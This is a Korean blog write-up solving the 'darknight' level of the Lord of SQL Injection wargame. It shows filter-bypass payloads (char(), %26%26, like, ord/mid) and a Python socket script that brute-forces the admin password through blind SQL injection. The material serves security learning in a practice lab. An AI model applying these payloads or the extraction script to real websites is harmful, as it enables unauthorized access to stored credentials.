본문 바로가기
워게임/LOS

[los - SQL injection] darknight ( 12단계 )

by B T Y 2017. 9. 23.
반응형

[los - SQL injection] darknight ( 12단계 )







[ 풀이과정 ]



darknight에서 no는 prob  _  .  (  )  '  substr  ascii  =  기호가 preg_match로 필터링 되어있고

pw는 싱글쿼터가 필터링 되어있다.


pw에는 싱글쿼터가 필터링 되어있어서 우회하기가 힘들고 no를 보면 numeric SQL injection을 이용할 수 있는게 보인다..

select id from prob_darknight where id='guest' and pw='' and no=1 or id in (char(97,100,109,105,110)) %26%26 length(pw) like 8을 이용해서 admin의 pw 길이가 8인걸 알아냈다.


substr과 ascii가 필터링 되어있지만 ord와 mid를 이용하면 admin의 pw를 찾을수 있다.


no=1 or id in (char(97,100,109,105,110)) && ord(mid((select pw),1,1)) like 49에서 


  - '  -> 대체문자가 존재하지않기 때문에 우회 불가능

  - ascii  ->  hex, ord, ...



python으로 만든 자동화 프로그램을 이용해서 mid의 시작위치와 비교하는 값을 변경 해주면서 

pw에 각 자리에 해당하는 문자를 추출해서 ord() 함수로 아스키코드값에 대응되는 문자로 변환시켜주면

모든 pw를 다 구해낼수 있다.






12단계 클리어~~




darknight.py



from socket import *

from struct import *


for i in range(1,9):

    ch = 48

    while True:


        #if 58 <= ch <= 64: ch + 1; continue

        #if 91 <= ch <= 96: ch + 1; continue

        if ch > 122: break

        

        sock = socket( AF_INET, SOCK_STREAM )

        sock.connect( ('104.27.174.42', 80) )


        request_header = 'GET /darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=1 '

        request_header += 'or id in (char(97,100,109,105,110)) %26%26 ord(mid((select pw),'

        request_header += str(i)

        request_header += ',1)) like ' + str(ch)

        request_header += ' HTTP/1.1\r\n'

        request_header += 'Cookie:__cfduid=d01f650811e82f029196d8b4eabcaece41505210653; 

                                  PHPSESSID=k54flk2m7tq8qa2q4du8kuvj13\r\n'

        request_header += 'Host:los.eagle-jump.org\r\n'

        request_header += '\r\n'


        sock.send( request_header.encode() )

        response = sock.recv(65535).decode()

        if 'Hello admin' in response:

            print( chr(ch), end='' )

            sock.close()

            break


        ch = ch + 1;

        sock.close()




반응형

댓글